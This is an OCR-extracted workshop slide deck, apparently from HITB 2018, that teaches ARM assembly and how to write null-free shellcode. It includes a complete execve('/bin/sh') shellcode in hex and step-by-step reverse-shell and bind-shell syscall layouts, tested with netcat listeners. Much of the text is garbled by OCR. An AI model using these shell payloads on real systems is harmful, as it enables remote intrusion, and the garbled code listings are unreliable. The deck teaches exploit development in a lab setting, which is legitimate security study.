LAB: ARM ASSEMBLY
SHELLCODE

From Zero to ARM Assembly Bind Shellcode
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LEARNING OBJECTIVES

* ARM assembly basics e Writing ARM Shellcode
* Registers e System functions
* Most common instructions * Mapping out parameters
e ARM vs. Thumb * Translating to Assembly
* Load and Store * De-Nullification
e Literal Pool * Execve() shell
e PC-relative Addressing * Reverse Shell

e Branches Bind Shell
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OUTLINE — 20°MINUTES

* ARM assembly basics e Reverse Shell
e 15-20 minutes e 3 functions
e Shellcoding steps: execve * For each:

e 10 minutes exercise
* 5 minutes solution

e Buffer[10]
* Bind Shell

* 3 functions
e 75 minutes exercise

e 10 minutes

e Getting ready for practical part
* 5 minutes
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MOBILE AND IOT BLA BLA

Anything that could be connected, will be connected...

Right-size processing Delivering more performance Delivering the time and
for new markets with less power innovation advantage

Social &
L(H .‘l

Home Automation Logistics &

Environmental Building

Management Connected
Identity & Car

Tracking

Shipping Healthcare

R i Energy Grid

The Architecture for the Digital World® ARM
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T8 GETTING INRERESTING...

Matthew Prince &
@eastdakota

Why we're swit~*’

«¥§

-=— | :QUALCOMM ‘
- EON AL CENTRIQ=
R ——
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BENEFITS OF LEARNING ARM ASSEMBLY

e Reverse Engineering binaries on...
* Phones?
* Routers?
e Cars?

Internet of Things?

* Intel x86 is nice but..

* Knowing ARM assembly allows you to
MACBOOKS?? dig into and have fun with various
SERVERS?? different device types

HITBSecConf2018 - Amsterdam 6



BENEFITS OF WRIBING ARM SHEEILCODE

« Writing your own assembly helps you to understand assembly

« How functions work
« How function parameters are handled
 How to translate functions to assembly for any purpose

* Learn it once and know how to write your own variations
* For exploit development and vulnerability research

* You can brag that you can write your own shellcode instead of having to rely on
exploit-db or tools

HITBSecConf2018 - Amsterdam



ARM ASSEMBLY BASICS

15— 20 minutes
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ARM CPU FEATURES

e RISC (Reduced Instruction Set Computing) processor
e Simplified instruction set
* More registers than in CISC (Complex Instruction Set Computing)

e | 0ad/Store architecture
* No direct operations on memory

e 32-bit ARM mode / 16-bit Thumb mode

e Conditional Execution on almost all instructions (ARM mode only)
* Inline Barrel Shifter

* Word aligned memory access (4 byte aligned)



ARM ARCHITE€CTURE AND G@RES

Arch
ARMv6

ARMv6-M

ARMv7-M
ARMvV7E-M

ARMv7-R

ARMvV7-A

ARMv8-A

ARMvVS8-A

W
32

32

32
32

32

32

32

04

Processor Family
ARM11

ARM Cortex-MO, ARM Cortex-M0+, ARM Cortex-M1,
SecurCore SC000

ARM Cortex-M3, SecurCore SC300
ARM Cortex-M4, ARM Cortex-M7

ARM Cortex-R4, ARM Cortex-R5, ARM Cortex-R7, ARM
Cortex-R8

ARM Cortex-A5, ARM Cortex-A7, ARM Cortex-A8, ARM
Cortex-A9, ARM Cortex-A12, ARM Cortex-A15, ARM
Cortex-A17

ARM Cortex-A32

ARM Cortex-A35, ARM Cortex-A53, ARM Cortex-A57, ARM
Cortex-A72
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ARM CPU REGISTERS

/ I | )
///A\‘"\‘- / <. / l _)j/ | ')\F‘ M /&\*\

RO - R6 | General Purpose
R7 Syscall number

R8 - R10 | General Purpose
R11 Frame Pointer FP
R12 Intra Proced. IP
R13 Stack Pointer SP
R15 Link Register LR
R15 Program Counter PC
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1l << 2 = 4

1>>» 2 =10

1 asr 2 =3

0=x40000000

1l and 2 =0

1l orr 2 =3

1l ®or 2 =3




THUMB INSTRUCTIONS

e ARM core has two execution states: ARM and Thumb
e Switch state with BX instruction

* Thumb is a 16-bit instruction set
e Other versions: Thumb-2 (16 and 32-bit), ThumbEE
* For us: useful to get rid of NULL bytes in our shellcode

* Most Thumb instructions are executed unconditionally ®



IDITIONAL EXECUTION

CPSR /7 APS -
Current Program Statur Register / Application Program Status Register
NIZ|C|V|Q J GE EIA[{I|F|T M
Condition Code Meanin Flags Tested 4
o O ea g | Cmp/Test Inatructions - Other instructions, like
B CME (compare}, flags MOVS (move, update flag)
7477 always only
N CMH (compare negative),  gpdate gien S L0D5 (add, update flag)
Z . 7777 £1 ;
GT (Z==0} s& (N==V) TS 2 Socki o SUES (subtract, update flag)
— TST (test bits) A
LT H!'=W
GE H=TV
LE [Z==1) || (H!'=V)
CS or HS Co=— 1 Example: CHMP & LT
CC or LO c=o0 mov  z0, #2 |T0 =2 NI Z/ C|VIQ
mov rl, #4 |rl =4
MI N ==1 CImp rd, rl rﬂ—r1=2—4=f?_2.l_.-‘ ........... 1lo0lolo 0
movlt r2, #4 | (N != ¥V} == trus —~ SEtL —
PL H==10 movgt r2, #8 | (H = V} == false negative flag
AT, -
v _ Example: CHMP & EQ
Vs V==1 mov r0, 2 |r0 =2 N Z C|V Q
mov rl, #2 |rl =2
\Tlo V== 0 comp  r0, rl |0 - rl =2 of1|1|0|0
beg  funcl (£ = 1} == true —
HT (C==1)&& (Z==0) mow r2, %8 sat zerc flag
LS (C==0) | | {E==0)}

AZERIA



LOAD / STORETNSTRUCTIONS

* ARM is a Load / Store Architecture

* Does not support memory to memory data processing operations

* Must move data values into register before using them

e Thisisn’t as inefficient as it sounds:
* Load data values from memory into registers

* Process data in registers using a number of data processing instructions

* which are not slowed down by memory access

 Store results from registers out of memory

e Three sets of instructions which interact with main memory:
» Single register data transfer (LDR/STR)
* Block data transfer (LDM/STM)
* Single Data Swap (SWP)



LOAD / STORE INSTRUCTIONS

value at [address| found in R2

is loaded into register R1 e | oad and Store Word or Byte

N e LDR/STR/LDRB/STRB
LDR R1, [R2]
STR R1, [R2]
D e Syntax:

value found in R1 .
° < >1< > < > < >
is stored to [address] found in R2 LDR|STR>{<cond>}{<size>} Rd, <address

* Can be executed conditionally ©

HITBSecConf2018 - Amsterdam 19



REBEACE X WITH#NULL-BY TE

Memory
4 byte view
. [.. 9 0Xx00000000
Assembly Disassembly -
.word Ox6e69622f /bin | Ox6e69622f [9x1009c

.ascii "/bin/shX" =2 word ex5868732f /shX | @x5868732F |9x100a0

[...]
[...] OXFFFFFFFF

AWA ALY HITBSecConf2018 - Amsterdam 20



REBEACE X WITH#NULL-BY TE

Goal:

/bin/shX ———> /bin/sh\0

Instruction:

STRB R2, [RO, #7]
N4

store byte from R2
to [address]| found in RO + offset 7

HITBSecConf2018 - Amsterdam
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STORE BYTE (§ .

Goal:

/bin/shX ———>= /bin/sh\0@

Instruction:

STRB R2, [RO, #7]
V

store byte from R2
to [address]| found in R@ + offset 7

'RB)

How it works:

RO| 9x0001009c
R2| 9x00000000

\

¥ D 0V N~ DO H T~

Ox58 — Ox00

Y

HITBSecConf2018 - Amsterdam

Memory
1 byte view

[ .1

0x00000000

©x1009c
0x1009d
0x1009e
0x1009f
0x100a0
0x100al
0x100a2
0x100a3

OXFFFFFFFF

offset #7

22



LOAD IMMEDIATE VALUES...

.section .text
.global start
_start:
mov ro, #511
bkpt

azeria@labs:™S as test.s -0 test.o
test.s: Assembler messages:
test.s:5:

*https://raw.githubusercontent .com/azeria-labs /rotator /master /rotator .py



LOAD IMMEDIATE VALUES

MOV RO, #12

MOV instruction with an immediate operand

cond 00|1| opcode |5 Rn Rd rotate_imm 8 bit immediate
X2
/ i
Shifter
|
2 x 4-bit = 8-bit ROR

rotation field

' '/",“, \"‘, J b HITBSecConf2018 - Amsterdam



R,
=

LOA

MOV instruction with an immediate operand

D IMME.

HATE VALUES

#5117
31 28 25 20 8 0
cond 0 01| opcode |S Rn Rd rotate_imm 8 bit immediate
0-30 1511= TM11T 1111
o[ S
HITBSecConf2018 - Amsterdam



R,
=

LOAD IMME

MOV instruction with an immediate operand

31 28

25

20

HATE VALUES

8

#3847

cond

0

0

T

opcode

S

Rn

Rd

rotate_imm

8 bit immediate

HITBSecConf2018 - Amsterdam

l6=0110

Shifter

26

ROR

l

6 ror 26 =384




LOA

MOV instruction with an immediate operand

D IMME.

HATE VALUES

#3707
31 28 25 20 16 12 8 0
cond 0 0|1| opcode |S Rn e rotate_imm 8 bit immediate
e J’ 185=1011 1001
[ e
185ror 31 =370
4 HITBSecConf2018 - Amsterdam 27



SOWTION: LBR:@R SPLIE

Option 1: Option 2:
Split values into two valid imm values Put value into Literal Pool with LDR
MOV R@, #256 // 1 ror 24 = 256 LDR Rl, =511

ADD R@, #255 // 255 ror @ = 255

HITBSecConf2018 - Amsterdam 28



LITERAL POOL

Assembly:

LDR R1, =511

—

Memory
4 byte view

PC-- &

Disassembly:

LDR R1, [PC, #16] effective PC——

[...]

offset: #16
.word ©Ox000001ff

#511 | Ox000001ff

HITBSecConf2018 - Amsterdam 29



PCsRELATIVEA

Assembly:

adr
adr
eor
eor

[. 7]

giruct:
.ascii
.ascii
.ascii

shellcode:
.ascii

rl,
re,
ri,
r2,

struct
shellcode
rl

r2

BV CPAVEEN
"\x11\x5c"
"\xc@\xa8\x8b\x82"

"/bin/shXx"

Disassembly:

0000V < start>:

Q:

N 00

e28f1008 add
e28f000c add
€0211001 eor
€0222002 eor

PPBOPP1O <struct>:

10:
14:

00000018 <shellcode>:
6e69622f .word
5868732f .word

18:
1c:

5cl1l1aa®2 .word
828ba8c® .word

ril,
ro,
ri,
r2,

pc,
pPc,
rl,
r2,

DDRESSING

#8
#12
rl
r2

Ox5cl11aab2
Ox828ba8cHO

Ox6e69622f
Ox5868732f

HITBSecConf2018 - Amsterdam

Memory
4 byte view

G

effective PC——

ioffset: #8
effective PC——>
Ox5cl1laan2 offset: #12
0x828ba8coO
0x6e69622f
Ox5868732f

30



BRANCHES

BRANCH (B) BRANCH & EXCHANGE (BX)
SYNTAX SYNTAX
b[cond] label bx[cond] label
b label bx label
loop: | cmp ro, #4 add r2, pc, #1
beq end —> bx l1r - bx  pr2
add re, ro, #1 el add e1, ri
b loop

, \-*:’_ K W A HITBSecConf2018 - Amsterdam 31



BRANCHES

BRANCH & LINK (BL)
SYNTAX

bl[cond] label

bl label LR <- PC
LR = 9x10060

y
.‘i‘

0x10054:  mov ro, #2 > 0x10064 :
0x10058: | mov rl, #4 0x10068:
0x1005c: | bl funcl —

add ro, ri
bx 1r

0x10060:  mov r2, #3<«

BRANCH & LINK & EXCHANGE (B)
SYNTAX

blx[cond] Rn

blx Rn
blx label T
LR = ©x10060
/ Thumb
0x10054: | mov r2, #2 0x10065:
0x10058: | mov rl, #4 0x10067:

0x1005c: | blx funcl —
0x10060: | mov r2, #3 <

add re, ril
bx 1r

HITBSecConf2018 - Amsterdam
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1THUMB MODE

ARM Mode = 4 bytes
I

switch to Thumb

01|30 (8F|E2|'add r3, pc, #1,
13 |FF|2F|E1|.bx r3

92120 | movs ro, #2
01 121 | movs ri, #1

2 bytes
Thumb Mode

AN N N A HITBSecConf2018 - Amsterdam



ALEKIA

SHELLCODING

HITBSecConf2018 - Amsterdam
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HOB TO SHEELC@

DL

Step 1: Figure out the system call that is being invoked

« Step 2: Figure out the number of that system call

« Step 3: Map out parameters of the function

« Step 4: Translate to assembly

« Step 5: Dump disassembly to check for nu

Il bytes

« Step 6: Get rid of null bytes = de-nullifying shellcode

« Step 7: Convert shellcode to hex

HITBSecConf2018 - Amsterdam
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STIEP | T RACINGRYSTEM CALLS

azeria@labs:™~$ gcc system.c -0 system

azeria@labs:™S strace -h
We want to translate the following

code into ARM assembly: -f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argy, stat, termio[s], etc. args
#include <stdio.h> --=Snip --
. . . azeria@labs:™S strace -f -v system
void main(void) - snip --
{ [pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi",
system("/bin/sh"); "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1",
} "OLDPWD=/home/azeria", "HOME=/home/azeria",

"XDG_SESSION COOKIE=34069147acf8a"..., "SSH TTY=/dev/pts/1l",
"LOGNAME=pi", " =/usr/bin/strace"”, "TERM=xterm",
"PATH=/usr/local/sbin:/usr/local/"..., "LANG=en US.UTF-8",

"LS _COLORS=rs=0:di=01;34:1n=01;36"..., "SHELL=/bin/bash",
"EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA" ..., "LC ALL=en US.UTF-8",
"PWD=/home/azeria/", "SSH CONNECTION=192.168.200.1 426"...]) =

HITBSecConf2018 - Amsterdam 36



STEP 2: FIGURE@GUT SYSCALL NEMBER

azeria@labs:~$ grep execve /usr/include/arm-1linux-gnueabihf/asm/unistd.h
#define ~ NR _execve (___NR SYSCALL BASE+ 11)

HITBSecConf2018 - Amsterdam
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STEP 3: MAPPING OUT PARAMETERS

e execve(*filename, *argv[], *envpl])
e Simplification

e argv = NULL

* envp = NULL
e Simply put:

e execve(*filename, 0, O)

HITBSecConf2018 - Amsterdam
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STEP 3: MAPPING OUT PARAMI

system(“/bin/sh®)

ALBEKIA

S HEERS

ré --> ,/bin/sh*

rl = © (NULL)

r2 = © (NULL)

r7 = 11 (syscall no.)

———2» execv(®“/bin/sh*, argv, envp)

svc #8

>

syscall 11

HITBSecConf2018 - Amsterdam
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STRWCTURE OF AN ASSEMBLY PROGRAM

.section .text
.global start

_start:
.code 32
<instruction>
<instruction>

.code 16
<thumb instruction>

.ascili “some string”

A\ , ‘-:" 3 A HITBSecConf2018 - Amsterdam
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STEP 4: I[RANSLATE TO ASSEMBLY

.section .text
.global start

_start:
adr re, binsh
. mov ri, #0
effective PC
(PC-relative) ——= mov I"E, #e
+4 ——3= MoV r7, #11
+8 —— = SVC #He

+12 —binsh:
.ascii "/bin/sh'\o"

/_\;\ 4 KA HITBSecConf2018 - Amsterdam



STEP 5: CHECGK'FOR NULL BYTES

pi@raspberrypi:™~S as execve.s -0 execve.o && |d —N execve.o -0 execve
pi@raspberrypi:~S objdump -d ./execve

Jexecve: file format elf32-littlearm
Disassembly of section .text:

00010054 <_start>:

10054: e28f000c add r0, pc, #12
10058: e3a01000 mov rl, #0
1005c: e3a02000 mov r2, #0
10060: e3a0700b mov r7, #11
10064 ef000000 svC 0x00000000

00010068 <binsh>:
10068: 6e69622f .word Ox6e69622f
1006c: 0068732f .word 0x0068732f



STER 6: DE-NULLIEY

execve("/bin/sh”, argv, envp);

\ ]

execve("/bin/sh", @, 0);

—>{ syscall no. 11

RO -> /bin/sh [—> adr re,
R1 = © —» sub ri,
R2 = 0 —» sub r2,
7 = 11 strb r2,
S mov r7,

SVC #1 —> SVC #1

HITBSecConf2018 - Amsterdam

binsh:

.ascii "/bin/shx"

T

binsh
rl

i
[ro, #7]
#11 '

|
|
' X0
:
|
|

T

o +1 ...47 € -7

43



.section .text
.global start

_start:
.code 32
add RS,
bx r3
.code 16
adr ro,
sub ri,;
mov r2,
strb r2,
mov v,
SVC #1

binsh:

pc, #1

binsh

rl

pl

[ro, #7]
#11

.ascii "/bin/shx"

pi@raspberrypi:~/asm $ objdump -d execve final

execve_final:

Disassembly of section .text:

file format elf32-littlearm

00010054 < start>:

10054
10058
1005c:
1005e:
10060:
10062:
10064 :
10066:

00010068

10068:
1006¢cC:

HITBSecConf2018 - Amsterdam

<binsh>:

e2813001
el2fff13
2002
1a49
1coa
71c2
270b
dfel

6€69622f
5868732f

add
bx
add
subs
adds
strb
movs
svc

.word
.wonrd

625
r3

ro,
ri,
r2,
r2,
r7,

pc, #1

pc, #8
rl, rl
rl, #0
[rO, #7]
#11

0x6e69622f
0x5868732f

44



SEEP 7. HEXIFY

pi@raspberrypi:~$ objcopy -0 binary execve final execve final.bin
pi@raspberrypi:~$% hexdump -v -e '"\\""x" 1/1 "%02x” ""' execve final.bin

\x01\x30\x8Ff\xe2\x13\xFff\x2f\xel\x02\xa0\x49\x1la\x0a\x1lc\xc2\x71\x0b\x27\x01
\xdF\x2F\x62\x69\x6e\x2f\x73\x68\x58

R NE S i HITBSecConf2018 - Amsterdam
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PRACTICAL PART

Reverse & bind shell
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I

PAIRES

Started sotesre, local Conpatibility,

Started Fernit User Sesslons,

Started Login Service.

Started LSB: Mutogeserate and use a suap file
Starting Terninate Plpnouth Boot Sceeen, ..
Starting Hold wetil doot process fimishes wp.

B ML Imx B raspberrypl iyl
| login: pl lamtematic login)

. t qln: Ned Now 8 11:51:57 UTC 2017 o t
raspbereypl 4.4.34¢+ 83 Tha Dec 1 14:44:23 IST 20

prograns Included with the Deblan AULImx system

HITBSecConf2018 - Amsterdam

The programs included with the Debiam GNU/L
the exact distribotion terms for each progr
Andividual files in Jusr/share/doc/ /copyrig

Debian GWU/Linux comes with ABSOLUTELY NO
permitted by applicable law.
Last logim: wed Nov 8 11:55:2) 2017

SS4 13 ecablod aad the default password for
Is 1s & security risk - please login as t
& tew password.

7

/7

/

%

7

7




PREPARE..

e Get ZIP with templates and slides

From your PI:
S wget https://azeria-labs.com/downloads/HITB-1.zip

* Solutions:
From your PI:
S wget https://azeria-labs.com/downloads/HITB-2.zip

AWA ALY HITBSecConf2018 - Amsterdam
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REVERSE SHELL

1. Create Socket
sockid = socket(AF INET, SOCK_STREAM, IPPROTO_ TCP);

2. Initialte connection
connect(sockid, (struct sockaddr *) &serv_addr, 16);

3. STDIN, STDOUT, STDERR
dup2(sockid, 0);
dup2(sockid, 1);
dup2(sockid, 2);

4. Spawn shell
execve(”/bin/sh’, 0, 0);

HITBSecConf2018 - Amsterdam
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[EMPLATE

=
N
W

r 1 E N
Registers Assembly
Func(xxx, XXX, XXX);
A | L
\ l / RO = 1 »| Instruction
R1 = 2 Instruction
Func(1, 2, 3); .
R2 = 3 —> Instruction
R7 = 4 —> Instruction
Ly syscall no. 4 SVC #1
(. . L 4 L

A HITBSecConf2018 - Amsterdam



CREATE SOCKET

socket (PF_INET, SOCK_STREAM, 0);

Adi a7

socket(2, 1, 0);

—

syscall no. 281

HITBSecConf2018 - Amsterdam

RO = 2

R1 =1

R2 = 0

R7 = 281
SVC #1

51



CONNECT

connect(sockid, sockaddr *addr, addrlen);

A AL

connect(ro, &sockaddr, 16);

—>| syscall no. 283

HITBSecConf2018 - Amsterdam

RO = sockid

R1 = &sockaddr

R2 = 16

R7 = 283
SVC #1
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SIE

dup2(sockid, STDIN)
dup2(sockid; STDOUT)
dup2(sockid, STDERR)

Y

dup2(R@ <—R4, 0)
dup2(RO<4—R4, 1)
dup2 (RO <—R4, 2)

—» syscall no. 63

HITBSecConf2018 - Amsterdam

DIN, STDOUTS | DERR

R4 = sockid
RO = R4

Rl = 0/1/2
R7 = 63

SVC #1
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SPAWNING SHELL

execve("/bin/sh", argv, envp);

\ JV Z RO -> /bin/sh

execve("/bin/sh", @, 0); R1 = 0
R2 = 0
—>»{ syscall no. 11 R7 = 11

SVC #1

p N | /33\ HITBSecConf2018 - Amsterdam



SPAWNING SHELL

execve(”/bin/sh", argv, envp);
\ v

.\ l RO -> /bin/sh —» adr re, binsh

execve("/bin/sh", @, 0); — | S . B
R2 =0 —>» sub P2 2

strb  r2, [ro, #7]

» syscall no. 11 = ’ ’ .

’ 7= 5 mov r7, #11

SVC #1 7 svc #1 !

|

| X0

binsh: |

.ascii "/bin/shX™ |

|

3 t

P +1...+7 €--

‘L:\“‘P?(‘ | ég\ HITBSecConf2018 - Amsterdam



TESTING YOURSHELLCODE

pi@raspberrypi:~$ as reverse.s -o reverse.o & 1ld -N reverse.o -o reverse

pi@raspberrypi:~$ ./reverse

user@ubuntu:~$%$ nc -lvvp 4444
Listening on [0.0.0.0] (family @, port 4444)
Connection from [192.168.72.129] port 4444 [tcp/*] accepted (family 2, sport 45326)

I~ WA HITBSecConf2018 - Amsterdam
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BIN

D SHELLD

Attacker IP: 18.1.2.2

Connects to target on
listening port

HITBSecConf2018 - Amsterdam

L ——

Target IP: 198.8.2.15
Listener Port: 4444
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SYSCALL NUMBERS

pi@raspberrypi:~$% cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep <..>
#define  NR socket (__NR_SYSCALL BASE+281)
#tdefine _ NR bind NR_SYSCALL_BASE+282)
#define _ NR listen NR_SYSCALL BASE+284)
#define _ NR accept NR_SYSCALL BASE+285)
#tdefine _ NR_dup?2 NR_SYSCALL_BASE+ 63)
#define _ NR _execve (__ NR_SYSCALL_ BASE+ 11)

=
(—
Gz
e
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BIN

I\ I 1 1) [\
/"‘_\; \\ y /‘/ H | ."?\’ | AN
' V. 2§, ‘. J ‘
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bind(host sockid, struct sockaddr *addr,
socklen t addrlen);

l

bind(re, &sockaddr, 16);

» syscall no. 282
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RO = host sockid
R1 = *struct_addr
R2 = 16
R7 = 282
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LISTEN FORAINCOMING CONNECTIONS

listen(host sockid, 2);

RO = host sockid
listen(ro <- r4, 2); R1 = 2

R7 = 284
—» syscall no. 284 Sl
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ACCEPT INCOMING CONNECTIONS
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accept(host_sockid, NULL, NULL);

client_sockid = accept(re<-r4, 0, 0);

—>| syscall no. 285
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RO = host_sockid
R1 = 0
R2 =0
R7 = 285
SVC #1
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TEST YOUR BINEESHELL

Terminal 1:
pi@raspberrypi:~S strace -e execve,socket,bind,listen,accept,dup2 ./bind

Terminal 2:

pi@raspberrypi:™ S netstat -tlpn

Proto Recv-Q Send-Q Local Address Foreign Address State  PID/Program name
tco 0 O 0.0.0.0:22 0.0.0.0:* LISTEN -

tco 0 O 0.0.0.0:4444 0.0.0.0:* LISTEN 1058/bind_test
pi@raspberrypi:™ S netcat -nv 0.0.0.0 4444
Connection to 0.0.0.0 4444 port [tcp/*] succeeded!
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IHE END.

More resources at https://azeria-labs.com
Twitter: @Fox0x01
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